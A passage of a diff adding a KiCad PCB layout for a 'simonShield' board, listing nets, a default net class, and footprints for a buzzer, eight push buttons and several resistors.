+  (net 87 "Net-(XA1-Pad56)")
+  (net 88 "Net-(XA1-Pad57)")
+  (net 89 "Net-(XA1-Pad59)")
+  (net 90 "Net-(XA1-Pad61)")
+  (net 91 "Net-(XA1-Pad63)")
+  (net 92 "Net-(XA1-Pad65)")
+  (net 93 "Net-(XA1-Pad67)")
+  (net 94 "Net-(XA1-Pad69)")
+  (net 95 "Net-(XA1-Pad70)")
+  (net 96 "Net-(XA1-Pad71)")
+  (net 97 "Net-(XA1-Pad72)")
+
+  (net_class Default "This is the default net class."
+    (clearance 0.3)
+    (trace_width 0.3)
+    (via_dia 1.27)
+    (via_drill 0.7112)
+    (uvia_dia 0.508)
+    (uvia_drill 0.254)
+    (add_net /buttons/BTN_CFG_1)
+    (add_net /buttons/BTN_CFG_2)
+    (add_net /buttons/BTN_CFG_3)
+    (add_net /buttons/BTN_CFG_4)
+    (add_net /buttons/BTN_LED_1)
+    (add_net /buttons/BTN_LED_2)
+    (add_net /buttons/BTN_LED_3)
+    (add_net /buttons/BTN_LED_4)
+    (add_net /ciaaConector/LED_1)
+    (add_net /ciaaConector/LED_2)
+    (add_net /ciaaConector/LED_3)
+    (add_net /ciaaConector/LED_4)
+    (add_net /ciaaConector/PWM)
+    (add_net GND)
+    (add_net "Net-(D1-Pad2)")
+    (add_net "Net-(D2-Pad2)")
+    (add_net "Net-(D3-Pad2)")
+    (add_net "Net-(D4-Pad2)")
+    (add_net "Net-(F1-Pad1)")
+    (add_net "Net-(F2-Pad1)")
+    (add_net "Net-(F3-Pad1)")
+    (add_net "Net-(P1-Pad1)")
+    (add_net "Net-(P1-Pad3)")
+    (add_net "Net-(Q1-Pad1)")
+    (add_net "Net-(Q1-Pad2)")
+    (add_net "Net-(Q1-Pad3)")
+    (add_net "Net-(Q2-Pad1)")
+    (add_net "Net-(Q2-Pad2)")
+    (add_net "Net-(Q3-Pad1)")
+    (add_net "Net-(Q3-Pad2)")
+    (add_net "Net-(Q4-Pad1)")
+    (add_net "Net-(Q4-Pad2)")
+    (add_net "Net-(Q5-Pad1)")
+    (add_net "Net-(Q5-Pad2)")
+    (add_net "Net-(XA1-Pad1)")
+    (add_net "Net-(XA1-Pad10)")
+    (add_net "Net-(XA1-Pad11)")
+    (add_net "Net-(XA1-Pad12)")
+    (add_net "Net-(XA1-Pad13)")
+    (add_net "Net-(XA1-Pad14)")
+    (add_net "Net-(XA1-Pad15)")
+    (add_net "Net-(XA1-Pad16)")
+    (add_net "Net-(XA1-Pad17)")
+    (add_net "Net-(XA1-Pad18)")
+    (add_net "Net-(XA1-Pad19)")
+    (add_net "Net-(XA1-Pad2)")
+    (add_net "Net-(XA1-Pad20)")
+    (add_net "Net-(XA1-Pad21)")
+    (add_net "Net-(XA1-Pad22)")
+    (add_net "Net-(XA1-Pad23)")
+    (add_net "Net-(XA1-Pad24)")
+    (add_net "Net-(XA1-Pad25)")
+    (add_net "Net-(XA1-Pad26)")
+    (add_net "Net-(XA1-Pad27)")
+    (add_net "Net-(XA1-Pad28)")
+    (add_net "Net-(XA1-Pad29)")
+    (add_net "Net-(XA1-Pad3)")
+    (add_net "Net-(XA1-Pad30)")
+    (add_net "Net-(XA1-Pad31)")
+    (add_net "Net-(XA1-Pad32)")
+    (add_net "Net-(XA1-Pad33)")
+    (add_net "Net-(XA1-Pad34)")
+    (add_net "Net-(XA1-Pad35)")
+    (add_net "Net-(XA1-Pad36)")
+    (add_net "Net-(XA1-Pad37)")
+    (add_net "Net-(XA1-Pad38)")
+    (add_net "Net-(XA1-Pad39)")
+    (add_net "Net-(XA1-Pad4)")
+    (add_net "Net-(XA1-Pad40)")
+    (add_net "Net-(XA1-Pad44)")
+    (add_net "Net-(XA1-Pad45)")
+    (add_net "Net-(XA1-Pad46)")
+    (add_net "Net-(XA1-Pad47)")
+    (add_net "Net-(XA1-Pad48)")
+    (add_net "Net-(XA1-Pad5)")
+    (add_net "Net-(XA1-Pad50)")
+    (add_net "Net-(XA1-Pad51)")
+    (add_net "Net-(XA1-Pad52)")
+    (add_net "Net-(XA1-Pad53)")
+    (add_net "Net-(XA1-Pad54)")
+    (add_net "Net-(XA1-Pad55)")
+    (add_net "Net-(XA1-Pad56)")
+    (add_net "Net-(XA1-Pad57)")
+    (add_net "Net-(XA1-Pad59)")
+    (add_net "Net-(XA1-Pad6)")
+    (add_net "Net-(XA1-Pad61)")
+    (add_net "Net-(XA1-Pad63)")
+    (add_net "Net-(XA1-Pad65)")
+    (add_net "Net-(XA1-Pad67)")
+    (add_net "Net-(XA1-Pad69)")
+    (add_net "Net-(XA1-Pad7)")
+    (add_net "Net-(XA1-Pad70)")
+    (add_net "Net-(XA1-Pad71)")
+    (add_net "Net-(XA1-Pad72)")
+    (add_net "Net-(XA1-Pad8)")
+    (add_net "Net-(XA1-Pad9)")
+    (add_net VCC)
+  )
+
+  (module simonShield:MagneticBuzzer_ProSignal_ABT-410-RC (layer F.Cu) (tedit 544E5504) (tstamp 5957451D)
+    (at 111.178971 53.624429 180)
+    (descr "Buzzer, Elektromagnetic Beeper, Summer, 1,5V-DC,")
+    (tags "Pro Signal, ABT-410-RC,")
+    (path /5797F3F6)
+    (fp_text reference U1 (at 3.175 -8.001 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value BUZZER (at 2.17424 8.001 180) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start 8.17626 -0.50038) (end 8.17626 0.50038) (layer F.SilkS) (width 0.15))
+    (fp_line (start 7.67588 0) (end 8.6741 0) (layer F.SilkS) (width 0.15))
+    (fp_circle (center 3.175 0) (end 4.17576 0) (layer F.SilkS) (width 0.15))
+    (fp_text user + (at 10.67562 0 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 3.175 0) (end 9.37514 0) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 180) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 6 "Net-(Q1-Pad3)"))
+    (pad 2 thru_hole circle (at 6.35 0 180) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (model Buzzers_Beepers.3dshapes/MagneticBuzzer_ProSignal_ABT-410-RC.wrl
+      (at (xyz 0 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 0))
+    )
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 59574511)
+    (at 112.877 94.402 270)
+    (path /5777D5BA/5777DCA9)
+    (fp_text reference SW8 (at 0 -0.762 270) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 24 /buttons/BTN_CFG_4))
+    (pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 24 /buttons/BTN_CFG_4))
+    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 59574505)
+    (at 124.053 94.402 270)
+    (path /5777D5BA/5777DC21)
+    (fp_text reference SW7 (at 0 -0.762 270) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 18 /buttons/BTN_LED_4))
+    (pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 18 /buttons/BTN_LED_4))
+    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744F9)
+    (at 93.827 94.529 90)
+    (path /5777D5BA/5777DC87)
+    (fp_text reference SW6 (at 0 -0.762 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 17 /buttons/BTN_CFG_3))
+    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 17 /buttons/BTN_CFG_3))
+    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744ED)
+    (at 105.003 94.529 90)
+    (path /5777D5BA/5777DBFF)
+    (fp_text reference SW5 (at 0 -0.762 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 23 /buttons/BTN_LED_3))
+    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 23 /buttons/BTN_LED_3))
+    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744E1)
+    (at 112.877 71.034 270)
+    (path /5777D5BA/5777DC65)
+    (fp_text reference SW4 (at 0 -0.762 270) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 16 /buttons/BTN_CFG_2))
+    (pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 16 /buttons/BTN_CFG_2))
+    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744D5)
+    (at 124.053 71.034 270)
+    (path /5777D5BA/5777DBDD)
+    (fp_text reference SW3 (at 0 -0.762 270) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 15 /buttons/BTN_LED_2))
+    (pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 15 /buttons/BTN_LED_2))
+    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744C9)
+    (at 105.003 71.034 90)
+    (path /5777D5BA/5777DC43)
+    (fp_text reference SW2 (at 0 -0.762 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 14 /buttons/BTN_CFG_1))
+    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 14 /buttons/BTN_CFG_1))
+    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744BD)
+    (at 93.827 71.034 90)
+    (path /5777D5BA/5777DBBB)
+    (fp_text reference SW1 (at 0 -0.762 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 13 /buttons/BTN_LED_1))
+    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 13 /buttons/BTN_LED_1))
+    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+  )
+
+  (module Resistors_THT:R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal (layer F.Cu) (tedit 59573715) (tstamp 595744A8)
+    (at 109 88.5 90)
+    (descr "Resistor, Axial_DIN0207 series, Axial, Horizontal, pin pitch=10.16mm, 0.25W = 1/4W, length*diameter=6.3*2.5mm^2, http://cdn-reichelt.de/documents/datenblatt/B400/1_4W%23YAG.pdf")
+    (tags "Resistor Axial_DIN0207 series Axial Horizontal pin pitch 10.16mm 0.25W = 1/4W length 6.3mm diameter 2.5mm")
+    (path /59572DE1)
+    (fp_text reference "R 0 Ohm" (at 5.25 3.25 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value R (at 5.08 2.31 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start 1.93 -1.25) (end 1.93 1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 1.93 1.25) (end 8.23 1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 8.23 1.25) (end 8.23 -1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 8.23 -1.25) (end 1.93 -1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 0 0) (end 1.93 0) (layer F.Fab) (width 0.1))
+    (fp_line (start 10.16 0) (end 8.23 0) (layer F.Fab) (width 0.1))
+    (fp_line (start 1.87 -1.31) (end 1.87 1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 1.87 1.31) (end 8.29 1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 8.29 1.31) (end 8.29 -1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 8.29 -1.31) (end 1.87 -1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 0.98 0) (end 1.87 0) (layer F.SilkS) (width 0.12))
+    (fp_line (start 9.18 0) (end 8.29 0) (layer F.SilkS) (width 0.12))
+    (fp_line (start -1.05 -1.6) (end -1.05 1.6) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.05 1.6) (end 11.25 1.6) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 11.25 1.6) (end 11.25 -1.6) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 11.25 -1.6) (end -1.05 -1.6) (layer F.CrtYd) (width 0.05))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)
+      (net 1 GND))
+    (pad 2 thru_hole oval (at 10.16 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)
+      (net 1 GND))
+    (model Resistors_THT.3dshapes/R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal.wrl
+      (at (xyz 0 0 0))
+      (scale (xyz 0.393701 0.393701 0.393701))
+      (rotate (xyz 0 0 0))
+    )
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957367C) (tstamp 5957449B)
+    (at 137.515 98.085 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/57797248)
+    (fp_text reference R18 (at 3.585 -0.015 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 12 "Net-(Q5-Pad1)"))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573680) (tstamp 5957448E)
+    (at 133.959 98.085 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/577970B7)
+    (fp_text reference R17 (at 3.585 0.041 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 30 /ciaaConector/LED_4))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 11 "Net-(Q5-Pad2)"))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957362E) (tstamp 59574481)
+    (at 80.365 97.958 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/577971BC)
+    (fp_text reference R16 (at 3.958 -0.115 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 22 "Net-(Q4-Pad1)"))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573629) (tstamp 59574474)
+    (at 83.921 97.958 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/5779705E)
+    (fp_text reference R15 (at 3.458 -0.171 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 10K (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 29 /ciaaConector/LED_3))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 21 "Net-(Q4-Pad2)"))
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573694) (tstamp 59574467)
+    (at 137.515 74.717 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /57780685/57797169)
+    (fp_text reference R14 (at 3.967 -0.015 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 680 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
